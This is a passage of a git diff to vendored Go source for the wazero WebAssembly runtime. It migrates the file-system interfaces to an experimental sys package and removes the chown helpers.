coerces to the +// empty string "" because the current directory is handled by the guest. +// +// Results are the offset/len pair which is an optimization to avoid re-slicing +// overhead, as this function is called for every path operation. +// +// Note: Relative paths should be handled by the guest, as that's what knows +// what the current directory is. However, paths that escape the current +// directory e.g. "../.." have been found in `tinygo test` and this +// implementation takes care to avoid it. +func StripPrefixesAndTrailingSlash(path string) string { + // strip trailing slashes + pathLen := len(path) + for ; pathLen > 0 && path[pathLen-1] == '/'; pathLen-- { + } + + pathI := 0 +loop: + for pathI < pathLen { + switch path[pathI] { + case '/': + pathI++ + case '.': + nextI := pathI + 1 + if nextI < pathLen && path[nextI] == '/' { + pathI = nextI + 1 + } else if nextI == pathLen { + pathI = nextI + } else { + break loop + } + default: + break loop + } + } + return path[pathI:pathLen] +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go b/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go index df68b51b6e..fe233d29ea 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go @@ -1,125 +1,125 @@ package sys import ( - "io/fs" - "os" - "syscall" - + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/fsapi" + "github.com/tetratelabs/wazero/sys" ) -// compile-time check to ensure lazyDir implements internalapi.File. -var _ fsapi.File = (*lazyDir)(nil) +// compile-time check to ensure lazyDir implements sys.File. +var _ experimentalsys.File = (*lazyDir)(nil) type lazyDir struct { - fsapi.DirFile + experimentalsys.DirFile + + fs experimentalsys.FS + f experimentalsys.File +} - fs fsapi.FS - f fsapi.File +// Dev implements the same method as documented on sys.File +func (d *lazyDir) Dev() (uint64, experimentalsys.Errno) { + if f, ok := d.file(); !ok { + return 0, experimentalsys.EBADF + } else { + return f.Dev() + } } -// Ino implements the same method as documented on internalapi.File -func (r *lazyDir) Ino() (uint64, syscall.Errno) { - if f, ok := r.file(); !ok { - return 0, syscall.EBADF +// Ino implements the same method as documented on sys.File +func (d *lazyDir) Ino() (sys.Inode, experimentalsys.Errno) { + if f, ok := d.file(); !ok { + return 0, experimentalsys.EBADF } else { return f.Ino() } } -// IsAppend implements the same method as documented on internalapi.File -func (r *lazyDir) IsAppend() bool { +// IsDir implements the same method as documented on sys.File +func (d *lazyDir) IsDir() (bool, experimentalsys.Errno) { + // Note: we don't return a constant because we don't know if this is really + // backed by a dir, until the first call. + if f, ok := d.file(); !ok { + return false, experimentalsys.EBADF + } else { + return f.IsDir() + } +} + +// IsAppend implements the same method as documented on sys.File +func (d *lazyDir) IsAppend() bool { return false } -// SetAppend implements the same method as documented on internalapi.File -func (r *lazyDir) SetAppend(bool) syscall.Errno { - return syscall.EISDIR +// SetAppend implements the same method as documented on sys.File +func (d *lazyDir) SetAppend(bool) experimentalsys.Errno { + return experimentalsys.EISDIR } -// Seek implements the same method as documented on internalapi.File -func (r *lazyDir) Seek(offset int64, whence int) (newOffset int64, errno syscall.Errno) { - if f, ok := r.file(); !ok { - return 0, syscall.EBADF +// Seek implements the same method as documented on sys.File +func (d *lazyDir) Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) { + if f, ok := d.file(); !ok { + return 0, experimentalsys.EBADF } else { return f.Seek(offset, whence) } } -// Stat implements the same method as documented on internalapi.File -func (r *lazyDir) Stat() (fsapi.Stat_t, syscall.Errno) { - if f, ok := r.file(); !ok { - return fsapi.Stat_t{}, syscall.EBADF +// Stat implements the same method as documented on sys.File +func (d *lazyDir) Stat() (sys.Stat_t, experimentalsys.Errno) { + if f, ok := d.file(); !ok { + return sys.Stat_t{}, experimentalsys.EBADF } else { return f.Stat() } } -// Readdir implements the same method as documented on internalapi.File -func (r *lazyDir) Readdir(n int) (dirents []fsapi.Dirent, errno syscall.Errno) { - if f, ok := r.file(); !ok { - return nil, syscall.EBADF +// Readdir implements the same method as documented on sys.File +func (d *lazyDir) Readdir(n int) (dirents []experimentalsys.Dirent, errno experimentalsys.Errno) { + if f, ok := d.file(); !ok { + return nil, experimentalsys.EBADF } else { return f.Readdir(n) } } -// Sync implements the same method as documented on internalapi.File -func (r *lazyDir) Sync() syscall.Errno { - if f, ok := r.file(); !ok { - return syscall.EBADF +// Sync implements the same method as documented on sys.File +func (d *lazyDir) Sync() experimentalsys.Errno { + if f, ok := d.file(); !ok { + return experimentalsys.EBADF } else { return f.Sync() } } -// Datasync implements the same method as documented on internalapi.File -func (r *lazyDir) Datasync() syscall.Errno { - if f, ok := r.file(); !ok { - return syscall.EBADF +// Datasync implements the same method as documented on sys.File +func (d *lazyDir) Datasync() experimentalsys.Errno { + if f, ok := d.file(); !ok { + return experimentalsys.EBADF } else { return f.Datasync() } } -// Chmod implements the same method as documented on internalapi.File -func (r *lazyDir) Chmod(mode fs.FileMode) syscall.Errno { - if f, ok := r.file(); !ok { - return syscall.EBADF - } else { - return f.Chmod(mode) - } -} - -// Chown implements the same method as documented on internalapi.File -func (r *lazyDir) Chown(uid, gid int) syscall.Errno { - if f, ok := r.file(); !ok { - return syscall.EBADF - } else { - return f.Chown(uid, gid) - } -} - -// Utimens implements the same method as documented on internalapi.File -func (r *lazyDir) Utimens(times *[2]syscall.Timespec) syscall.Errno { - if f, ok := r.file(); !ok { - return syscall.EBADF +// Utimens implements the same method as documented on sys.File +func (d *lazyDir) Utimens(atim, mtim int64) experimentalsys.Errno { + if f, ok := d.file(); !ok { + return experimentalsys.EBADF } else { - return f.Utimens(times) + return f.Utimens(atim, mtim) } } // file returns the underlying file or false if it doesn't exist. -func (r *lazyDir) file() (fsapi.File, bool) { - if f := r.f; r.f != nil { +func (d *lazyDir) file() (experimentalsys.File, bool) { + if f := d.f; d.f != nil { return f, true } - var errno syscall.Errno - r.f, errno = r.fs.OpenFile(".", os.O_RDONLY, 0) + var errno experimentalsys.Errno + d.f, errno = d.fs.OpenFile(".", experimentalsys.O_RDONLY, 0) switch errno { case 0: - return r.f, true - case syscall.ENOENT: + return d.f, true + case experimentalsys.ENOENT: return nil, false default: panic(errno) // unexpected @@ -127,10 +127,25 @@ func (r *lazyDir) file() (fsapi.File, bool) { } // Close implements fs.File -func (r *lazyDir) Close() syscall.Errno { - f := r.f +func (d *lazyDir) Close() experimentalsys.Errno { + f := d.f if f == nil { return 0 // never opened } return f.Close() } + +// IsNonblock implements the same method as documented on fsapi.File +func (d *lazyDir) IsNonblock() bool { + return false +} + +// SetNonblock implements the same method as documented on fsapi.File +func (d *lazyDir) SetNonblock(bool) experimentalsys.Errno { + return experimentalsys.EISDIR +} + +// Poll implements the same method as documented on fsapi.File +func (d *lazyDir) Poll(fsapi.Pflag, int32) (ready bool, errno experimentalsys.Errno) { + return false, experimentalsys.ENOSYS +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go b/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go index c9e852c5eb..32c33661eb 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go @@ -3,12 +3,11 @@ package sys import ( "io" "os" - "syscall" - "time" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/fsapi" - "github.com/tetratelabs/wazero/internal/platform" "github.com/tetratelabs/wazero/internal/sysfs" + "github.com/tetratelabs/wazero/sys" ) // StdinFile is a fs.ModeDevice file for use implementing FdStdin. @@ -19,10 +18,10 @@ type StdinFile struct { io.Reader } -// Read implements the same method as documented on internalapi.File -func (f *StdinFile) Read(buf []byte) (int, syscall.Errno) { +// Read implements the same method as documented on sys.File +func (f *StdinFile) Read(buf []byte) (int, experimentalsys.Errno) { n, err := f.Reader.Read(buf) - return n, platform.UnwrapOSError(err) + return n, experimentalsys.UnwrapOSError(err) } type writerFile struct { @@ -31,10 +30,10 @@ type writerFile struct { w io.Writer } -// Write implements the same method as documented on internalapi.File -func (f *writerFile) Write(buf []byte) (int, syscall.Errno) { +// Write implements the same method as documented on sys.File +func (f *writerFile) Write(buf []byte) (int, experimentalsys.Errno) { n, err := f.w.Write(buf) - return n, platform.UnwrapOSError(err) + return n, experimentalsys.UnwrapOSError(err) } // noopStdinFile is a fs.ModeDevice file for use implementing FdStdin. This is @@ -44,18 +43,16 @@ type noopStdinFile struct { noopStdioFile } -// AccessMode implements the same method as documented on internalapi.File -func (noopStdinFile) AccessMode() int { - return syscall.O_RDONLY -} - -// Read implements the same method as documented on internalapi.File -func (noopStdinFile) Read([]byte) (int, syscall.Errno) { +// Read implements the same method as documented on sys.File +func (noopStdinFile) Read([]byte) (int, experimentalsys.Errno) { return 0, 0 // Always EOF } -// PollRead implements the same method as documented on internalapi.File -func (noopStdinFile) PollRead(*time.Duration) (ready bool, errno syscall.Errno) { +// Poll implements the same method as documented on fsapi.File +func (noopStdinFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) { + if flag != fsapi.POLLIN { + return false, experimentalsys.ENOTSUP + } return true, 0 // always ready to read nothing } @@ -65,32 +62,42 @@ type noopStdoutFile struct { noopStdioFile } -// AccessMode implements the same method as documented on internalapi.File -func (noopStdoutFile) AccessMode() int { - return syscall.O_WRONLY -} - -// Write implements the same method as documented on internalapi.File -func (noopStdoutFile) Write(buf []byte) (int, syscall.Errno) { +// Write implements the same method as documented on sys.File +func (noopStdoutFile) Write(buf []byte) (int, experimentalsys.Errno) { return len(buf), 0 // same as io.Discard } type noopStdioFile struct { - fsapi.UnimplementedFile + experimentalsys.UnimplementedFile } -// Stat implements the same method as documented on internalapi.File -func (noopStdioFile) Stat() (fsapi.Stat_t, syscall.Errno) { - return fsapi.Stat_t{Mode: modeDevice, Nlink: 1}, 0 +// Stat implements the same method as documented on sys.File +func (noopStdioFile) Stat() (sys.Stat_t, experimentalsys.Errno) { + return sys.Stat_t{Mode: modeDevice, Nlink: 1}, 0 } -// IsDir implements the same method as documented on internalapi.File -func (noopStdioFile) IsDir() (bool, syscall.Errno) { +// IsDir implements the same method as documented on sys.File +func (noopStdioFile) IsDir() (bool, experimentalsys.Errno) { return false, 0 } -// Close implements the same method as documented on internalapi.File -func (noopStdioFile) Close() (errno syscall.Errno) { return } +// Close implements the same method as documented on sys.File +func (noopStdioFile) Close() (errno experimentalsys.Errno) { return } + +// IsNonblock implements the same method as documented on fsapi.File +func (noopStdioFile) IsNonblock() bool { + return false +} + +// SetNonblock implements the same method as documented on fsapi.File +func (noopStdioFile) SetNonblock(bool) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Poll implements the same method as documented on fsapi.File +func (noopStdioFile) Poll(fsapi.Pflag, int32) (ready bool, errno experimentalsys.Errno) { + return false, experimentalsys.ENOSYS +} func stdinFileEntry(r io.Reader) (*FileEntry, error) { if r == nil { diff --git a/vendor/github.com/tetratelabs/wazero/internal/sys/sys.go b/vendor/github.com/tetratelabs/wazero/internal/sys/sys.go index f035712eee..12279ee495 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sys/sys.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sys/sys.go @@ -7,7 +7,7 @@ import ( "net" "time" - "github.com/tetratelabs/wazero/internal/fsapi" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/platform" "github.com/tetratelabs/wazero/sys" ) @@ -110,11 +110,11 @@ func (c *Context) RandSource() io.Reader { } // DefaultContext returns Context with no values set except a possible nil -// fsapi.FS. +// sys.FS. // // Note: This is only used for testing. -func DefaultContext(fs fsapi.FS) *Context { - if sysCtx, err := NewContext(0, nil, nil, nil, nil, nil, nil, nil, 0, nil, 0, nil, nil, fs, nil); err != nil { +func DefaultContext(fs experimentalsys.FS) *Context { + if sysCtx, err := NewContext(0, nil, nil, nil, nil, nil, nil, nil, 0, nil, 0, nil, nil, []experimentalsys.FS{fs}, []string{""}, nil); err != nil { panic(fmt.Errorf("BUG: DefaultContext should never error: %w", err)) } else { return sysCtx @@ -135,7 +135,7 @@ func NewContext( nanotimeResolution sys.ClockResolution, nanosleep sys.Nanosleep, osyield sys.Osyield, - rootFS fsapi.FS, + fs []experimentalsys.FS, guestPaths []string, tcpListeners []*net.TCPListener, ) (sysCtx *Context, err error) { sysCtx = &Context{args: args, environ: environ} @@ -188,11 +188,7 @@ func NewContext( sysCtx.osyield = platform.FakeOsyield } - if rootFS != nil { - err = sysCtx.NewFSContext(stdin, stdout, stderr, rootFS, tcpListeners) - } else { - err = sysCtx.NewFSContext(stdin, stdout, stderr, fsapi.UnimplementedFS{}, tcpListeners) - } + err = sysCtx.InitFSContext(stdin, stdout, stderr, fs, guestPaths, tcpListeners) return } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/adapter.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/adapter.go index 022ca69762..51a9a54804 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/adapter.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/adapter.go @@ -4,64 +4,91 @@ import ( "fmt" "io/fs" "path" - "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/sys" ) -// Adapt adapts the input to api.FS unless it is already one. Use NewDirFS instead -// of os.DirFS as it handles interop issues such as windows support. -// -// Note: This performs no flag verification on OpenFile. fsapi.FS cannot read -// flags as there is no parameter to pass them through with. Moreover, fsapi.FS -// documentation does not require the file to be present. In summary, we can't -// enforce flag behavior. -func Adapt(fs fs.FS) fsapi.FS { - if fs == nil { - return fsapi.UnimplementedFS{} - } - if sys, ok := fs.(fsapi.FS); ok { - return sys - } - return &adapter{fs: fs} +type AdaptFS struct { + FS fs.FS } -type adapter struct { - fsapi.UnimplementedFS - fs fs.FS +// String implements fmt.Stringer +func (a *AdaptFS) String() string { + return fmt.Sprintf("%v", a.FS) } -// String implements fmt.Stringer -func (a *adapter) String() string { - return fmt.Sprintf("%v", a.fs) +// OpenFile implements the same method as documented on sys.FS +func (a *AdaptFS) OpenFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) { + return OpenFSFile(a.FS, cleanPath(path), flag, perm) } -// OpenFile implements the same method as documented on api.FS -func (a *adapter) OpenFile(path string, flag int, perm fs.FileMode) (fsapi.File, syscall.Errno) { - return OpenFSFile(a.fs, cleanPath(path), flag, perm) +// Lstat implements the same method as documented on sys.FS +func (a *AdaptFS) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) { + // At this time, we make the assumption sys.FS instances do not support + // symbolic links, therefore Lstat is the same as Stat. This is obviously + // not true, but until FS.FS has a solid story for how to handle symlinks, + // we are better off not making a decision that would be difficult to + // revert later on. + // + // For further discussions on the topic, see: + // https://github.com/golang/go/issues/49580 + return a.Stat(path) } -// Stat implements the same method as documented on api.FS -func (a *adapter) Stat(path string) (fsapi.Stat_t, syscall.Errno) { - f, errno := a.OpenFile(path, syscall.O_RDONLY, 0) +// Stat implements the same method as documented on sys.FS +func (a *AdaptFS) Stat(path string) (sys.Stat_t, experimentalsys.Errno) { + f, errno := a.OpenFile(path, experimentalsys.O_RDONLY, 0) if errno != 0 { - return fsapi.Stat_t{}, errno + return sys.Stat_t{}, errno } defer f.Close() return f.Stat() } -// Lstat implements the same method as documented on api.FS -func (a *adapter) Lstat(path string) (fsapi.Stat_t, syscall.Errno) { - // At this time, we make the assumption that api.FS instances do not support - // symbolic links, therefore Lstat is the same as Stat. This is obviously - // not true but until api.FS has a solid story for how to handle symlinks we - // are better off not making a decision that would be difficult to revert - // later on. - // - // For further discussions on the topic, see: - // https://github.com/golang/go/issues/49580 - return a.Stat(path) +// Readlink implements the same method as documented on sys.FS +func (a *AdaptFS) Readlink(string) (string, experimentalsys.Errno) { + return "", experimentalsys.ENOSYS +} + +// Mkdir implements the same method as documented on sys.FS +func (a *AdaptFS) Mkdir(string, fs.FileMode) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Chmod implements the same method as documented on sys.FS +func (a *AdaptFS) Chmod(string, fs.FileMode) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Rename implements the same method as documented on sys.FS +func (a *AdaptFS) Rename(string, string) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Rmdir implements the same method as documented on sys.FS +func (a *AdaptFS) Rmdir(string) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Link implements the same method as documented on sys.FS +func (a *AdaptFS) Link(string, string) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Symlink implements the same method as documented on sys.FS +func (a *AdaptFS) Symlink(string, string) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Unlink implements the same method as documented on sys.FS +func (a *AdaptFS) Unlink(string) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Utimens implements the same method as documented on sys.FS +func (a *AdaptFS) Utimens(string, int64, int64) experimentalsys.Errno { + return experimentalsys.ENOSYS } func cleanPath(name string) string { diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/chown.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/chown.go deleted file mode 100644 index 93c774c923..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/chown.go +++ /dev/null @@ -1,30 +0,0 @@ -package sysfs - -import ( - "os" - "syscall" - - "github.com/tetratelabs/wazero/internal/platform" -) - -// Chown is like os.Chown, except it returns a syscall.Errno, not a -// fs.PathError. For example, this returns syscall.ENOENT if the path doesn't -// exist. A syscall.Errno of zero is success. -// -// Note: This always returns syscall.ENOSYS on windows. -// See https://linux.die.net/man/3/chown -func Chown(path string, uid, gid int) syscall.Errno { - err := os.Chown(path, uid, gid) - return platform.UnwrapOSError(err) -} - -// Lchown is like os.Lchown, except it returns a syscall.Errno, not a -// fs.PathError. For example, this returns syscall.ENOENT if the path doesn't -// exist. A syscall.Errno of zero is success. -// -// Note: This always returns syscall.ENOSYS on windows. -// See https://linux.die.net/man/3/lchown -func Lchown(path string, uid, gid int) syscall.Errno { - err := os.Lchown(path, uid, gid) - return platform.UnwrapOSError(err) -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/chown_unix.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/chown_unix.go deleted file mode 100644 index 5907a9d980..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/chown_unix.go +++ /dev/null @@ -1,13 +0,0 @@ -//go:build !windows - -package sysfs - -import ( - "syscall" - - "github.com/tetratelabs/wazero/internal/platform" -) - -func fchown(fd uintptr, uid, gid int) syscall.Errno { - return platform.UnwrapOSError(syscall.Fchown(int(fd), uid, gid)) -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/chown_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/chown_unsupported.go deleted file mode 100644 index 5e7fd79be9..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/chown_unsupported.go +++ /dev/null @@ -1,11 +0,0 @@ -//go:build windows - -package sysfs - -import "syscall" - -// fchown is not supported on windows. For example, syscall.Fchown returns -// syscall.EWINDOWS, which is the same as syscall.ENOSYS. -func fchown(fd uintptr, uid, gid int) syscall.Errno { - return syscall.ENOSYS -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/datasync_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/datasync_linux.go index 715a952dfa..c37e698d2f 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/datasync_linux.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/datasync_linux.go @@ -6,9 +6,9 @@ import ( "os" "syscall" - "github.com/tetratelabs/wazero/internal/platform" + "github.com/tetratelabs/wazero/experimental/sys" ) -func datasync(f *os.File) syscall.Errno { - return platform.UnwrapOSError(syscall.Fdatasync(int(f.Fd()))) +func datasync(f *os.File) sys.Errno { + return sys.UnwrapOSError(syscall.Fdatasync(int(f.Fd()))) } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/datasync_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/datasync_unsupported.go index 4261f56575..aa05719be6 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/datasync_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/datasync_unsupported.go @@ -4,10 +4,11 @@ package sysfs import ( "os" - "syscall" + + "github.com/tetratelabs/wazero/experimental/sys" ) -func datasync(f *os.File) syscall.Errno { +func datasync(f *os.File) sys.Errno { // Attempt to sync everything, even if we only need to sync the data. return fsync(f) } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dir.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dir.go index 8462e846f8..f9823287cf 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dir.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dir.go @@ -2,23 +2,21 @@ package sysfs import ( "io" - "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" - "github.com/tetratelabs/wazero/internal/platform" + "github.com/tetratelabs/wazero/experimental/sys" ) -func adjustReaddirErr(f fsapi.File, isClosed bool, err error) syscall.Errno { +func adjustReaddirErr(f sys.File, isClosed bool, err error) sys.Errno { if err == io.EOF { return 0 // e.g. Readdir on darwin returns io.EOF, but linux doesn't. - } else if errno := platform.UnwrapOSError(err); errno != 0 { + } else if errno := sys.UnwrapOSError(err); errno != 0 { errno = dirError(f, isClosed, errno) - // Ignore errors when the file was closed or removed. + // Comply with errors allowed on sys.File Readdir switch errno { - case syscall.EIO, syscall.EBADF: // closed while open - return 0 - case syscall.ENOENT: // Linux error when removed while open - return 0 + case sys.EINVAL: // os.File Readdir can return this + return sys.EBADF + case sys.ENOTDIR: // dirError can return this + return sys.EBADF } return errno } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go index 5f2645de80..05d5b647ea 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/dirfs.go @@ -3,13 +3,13 @@ package sysfs import ( "io/fs" "os" - "syscall" - "github.com/tetratelabs/wazero/internal/fsapi" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/platform" + "github.com/tetratelabs/wazero/sys" ) -func NewDirFS(dir string) fsapi.FS { +func DirFS(dir string) experimentalsys.FS { return &dirFS{ dir: dir, cleanedDir: ensureTrailingPathSeparator(dir), @@ -23,8 +23,11 @@ func ensureTrailingPathSeparator(dir string) string { return dir } +// dirFS is not exported because the input fields must be maintained together. +// This is likely why os.DirFS doesn't, either! type dirFS struct { - fsapi.UnimplementedFS + experimentalsys.UnimplementedFS + dir string // cleanedDir is for easier OS-specific concatenation, as it always has // a trailing path separator. @@ -36,99 +39,81 @@ func (d *dirFS) String() string { return d.dir } -// OpenFile implements the same method as documented on api.FS -func (d *dirFS) OpenFile(path string, flag int, perm fs.FileMode) (fsapi.File, syscall.Errno) { +// OpenFile implements the same method as documented on sys.FS +func (d *dirFS) OpenFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (experimentalsys.File, experimentalsys.Errno) { return OpenOSFile(d.join(path), flag, perm) } -// Lstat implements the same method as documented on api.FS -func (d *dirFS) Lstat(path string) (fsapi.Stat_t, syscall.Errno) { +// Lstat implements the same method as documented on sys.FS +func (d *dirFS) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) { return lstat(d.join(path)) } -// Stat implements the same method as documented on api.FS -func (d *dirFS) Stat(path string) (fsapi.Stat_t, syscall.Errno) { +// Stat implements the same method as documented on sys.FS +func (d *dirFS) Stat(path string) (sys.Stat_t, experimentalsys.Errno) { return stat(d.join(path)) } -// Mkdir implements the same method as documented on api.FS -func (d *dirFS) Mkdir(path string, perm fs.FileMode) (errno syscall.Errno) { +// Mkdir implements the same method as documented on sys.FS +func (d *dirFS) Mkdir(path string, perm fs.FileMode) (errno experimentalsys.Errno) { err := os.Mkdir(d.join(path), perm) - if errno = platform.UnwrapOSError(err); errno == syscall.ENOTDIR { - errno = syscall.ENOENT + if errno = experimentalsys.UnwrapOSError(err); errno == experimentalsys.ENOTDIR { + errno = experimentalsys.ENOENT } return } -// Chmod implements the same method as documented on api.FS -func (d *dirFS) Chmod(path string, perm fs.FileMode) syscall.Errno { +// Chmod implements the same method as documented on sys.FS +func (d *dirFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno { err := os.Chmod(d.join(path), perm) - return platform.UnwrapOSError(err) -} - -// Chown implements the same method as documented on api.FS -func (d *dirFS) Chown(path string, uid, gid int) syscall.Errno { - return Chown(d.join(path), uid, gid) + return experimentalsys.UnwrapOSError(err) } -// Lchown implements the same method as documented on api.FS -func (d *dirFS) Lchown(path string, uid, gid int) syscall.Errno { - return Lchown(d.join(path), uid, gid) -} - -// Rename implements the same method as documented on api.FS -func (d *dirFS) Rename(from, to string) syscall.Errno { +// Rename implements the same method as documented on sys.FS +func (d *dirFS) Rename(from, to string) experimentalsys.Errno { from, to = d.join(from), d.join(to) - return Rename(from, to) + return rename(from, to) } -// Readlink implements the same method as documented on api.FS -func (d *dirFS) Readlink(path string) (string, syscall.Errno) { +// Readlink implements the same method as documented on sys.FS +func (d *dirFS) Readlink(path string) (string, experimentalsys.Errno) { // Note: do not use syscall.Readlink as that causes race on Windows. // In any case, syscall.Readlink does almost the same logic as os.Readlink. dst, err := os.Readlink(d.join(path)) if err != nil { - return "", platform.UnwrapOSError(err) + return "", experimentalsys.UnwrapOSError(err) } return platform.ToPosixPath(dst), 0 } -// Link implements the same method as documented on api.FS -func (d *dirFS) Link(oldName, newName string) syscall.Errno { +// Link implements the same method as documented on sys.FS +func (d *dirFS) Link(oldName, newName string) experimentalsys.Errno { err := os.Link(d.join(oldName), d.join(newName)) - return platform.UnwrapOSError(err) + return experimentalsys.UnwrapOSError(err) } -// Rmdir implements the same method as documented on api.FS -func (d *dirFS) Rmdir(path string) syscall.Errno { - err := syscall.Rmdir(d.join(path)) - return platform.UnwrapOSError(err) +// Rmdir implements the same method as documented on sys.FS +func (d *dirFS) Rmdir(path string) experimentalsys.Errno { + return rmdir(d.join(path)) } -// Unlink implements the same method as documented on api.FS -func (d *dirFS) Unlink(path string) (err syscall.Errno) { - return Unlink(d.join(path)) +// Unlink implements the same method as documented on sys.FS +func (d *dirFS) Unlink(path string) (err experimentalsys.Errno) { + return unlink(d.join(path)) } -// Symlink implements the same method as documented on api.FS -func (d *dirFS) Symlink(oldName, link string) syscall.Errno { +// Symlink implements the same method as documented on sys.FS +func (d *dirFS) Symlink(oldName, link string) experimentalsys.Errno { // Note: do not resolve `oldName` relative to this dirFS. The link result is always resolved // when dereference the `link` on its usage (e.g. readlink, read, etc). // https://github.com/bytecodealliance/cap-std/blob/v1.0.4/cap-std/src/fs/dir.rs#L404-L409 err := os.Symlink(oldName, d.join(link)) - return platform.UnwrapOSError(err) -} - -// Utimens implements the same method as documented on api.FS -func (d *dirFS) Utimens(path string, times *[2]syscall.Timespec, symlinkFollow bool) syscall.Errno { - return Utimens(d.join(path), times, symlinkFollow) + return experimentalsys.UnwrapOSError(err) } -// Truncate implements the same method as documented on api.FS -func (d *dirFS) Truncate(path string, size int64) syscall.Errno { - // Use os.Truncate as syscall.Truncate doesn't exist on Windows. - err := os.Truncate(d.join(path), size) - return platform.UnwrapOSError(err) +// Utimens implements the same method as documented on sys.FS +func (d *dirFS) Utimens(path string, atim, mtim int64) experimentalsys.Errno { + return utimens(d.join(path), atim, mtim) } func (d *dirFS) join(path string) string { diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go index f4a7cbf8aa..9a77205bb5 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/file.go @@ -4,10 +4,11 @@ import ( "io" "io/fs" "os" - "syscall" + "time" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/fsapi" - "github.com/tetratelabs/wazero/internal/platform" + "github.com/tetratelabs/wazero/sys" ) func NewStdioFile(stdin bool, f fs.File) (fsapi.File, error) { @@ -20,11 +21,11 @@ func NewStdioFile(stdin bool, f fs.File) (fsapi.File, error) { } else { mode = st.Mode() } - var flag int + var flag experimentalsys.Oflag if stdin { - flag = syscall.O_RDONLY + flag = experimentalsys.O_RDONLY } else { - flag = syscall.O_WRONLY + flag = experimentalsys.O_WRONLY } var file fsapi.File if of, ok := f.(*os.File); ok { @@ -33,17 +34,17 @@ func NewStdioFile(stdin bool, f fs.File) (fsapi.File, error) { } else { file = &fsFile{file: f} } - return &stdioFile{File: file, st: fsapi.Stat_t{Mode: mode, Nlink: 1}}, nil + return &stdioFile{File: file, st: sys.Stat_t{Mode: mode, Nlink: 1}}, nil } -func OpenFile(path string, flag int, perm fs.FileMode) (*os.File, syscall.Errno) { - if flag&fsapi.O_DIRECTORY != 0 && flag&(syscall.O_WRONLY|syscall.O_RDWR) != 0 { - return nil, syscall.EISDIR // invalid to open a directory writeable +func OpenFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) (*os.File, experimentalsys.Errno) { + if flag&experimentalsys.O_DIRECTORY != 0 && flag&(experimentalsys.O_WRONLY|experimentalsys.O_RDWR) != 0 { + return nil, experimentalsys.EISDIR // invalid to open a directory writeable } return openFile(path, flag, perm) } -func OpenOSFile(path string, flag int, perm fs.FileMode) (fsapi.File, syscall.Errno) { +func OpenOSFile(path string, flag experimentalsys.Oflag, perm fs.FileMode) 